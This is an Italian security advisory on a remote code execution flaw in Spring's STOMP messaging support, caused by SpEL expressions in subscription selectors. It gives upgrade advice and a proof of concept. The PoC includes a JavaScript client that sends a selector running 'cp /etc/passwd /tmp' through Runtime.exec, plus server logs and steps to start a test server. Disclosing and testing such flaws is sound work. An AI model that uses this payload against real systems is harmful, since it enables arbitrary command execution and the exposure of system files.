
RCE nel protocollo STOMP di Spring messaging
Ieri Spring ha annunciato una vulnerabilità RCE, approfondiamo:
Versioni interessate
Questa vulnerabilità non ha requisiti ambientali. Se stai usando spring-messaging + websocket + STOMP, aggiorna il prima possibile all'ultima versione; se stai usando SpringBoot, aggiorna a 2.0.1.RELEASE.
In parole semplici, poiché StandardEvaluationContext ha troppi privilegi e può eseguire espressioni SpEL arbitrarie, la comunità ha aggiunto SimpleEvaluationContext dopo Spring 5.0.5 per implementare un data binding semplice, mantenendo la flessibilità ma senza introdurre rischi per la sicurezza.
spring-messaging fornisce il supporto per il protocollo STOMP, consentendo ai client di sottoscrivere messaggi e di usare un selettore per filtrarli, ad es.
selector = 'T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")'
stompClient = Stomp.client('ws://localhost:8080/hello')
stompClient.connect({}, function(frame) {
stompClient.subscribe('/topic/greetings', function() {}, {
"selector": selector
})
});
Quando ti sottoscrivi, Spring memorizza questo filtro e lo attiva quando il client riceve il messaggio, ad es.
2018-04-07 08:32:20 [clientInboundChannel-3] TRACE o.s.m.s.b.DefaultSubscriptionRegistry - Subscription selector: [T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")]
...
2018-04-07 08:32:21 [MessageBroker-2] DEBUG o.s.m.s.b.DefaultSubscriptionRegistry - Failed to evaluate selector: EL1001E: Type conversion problem, cannot convert from java.lang.UNIXProcess to boolean
Screenshot del PoC

L'analisi dettagliata della vulnerabilità verrà pubblicata in seguito.
Compila e avvia il server Spring Boot,
mvn clean package
java -jar target/spring-boot-websocket-1.0.jar
Accedi - inserisci l'espressione per testare,
http://localhost:8080
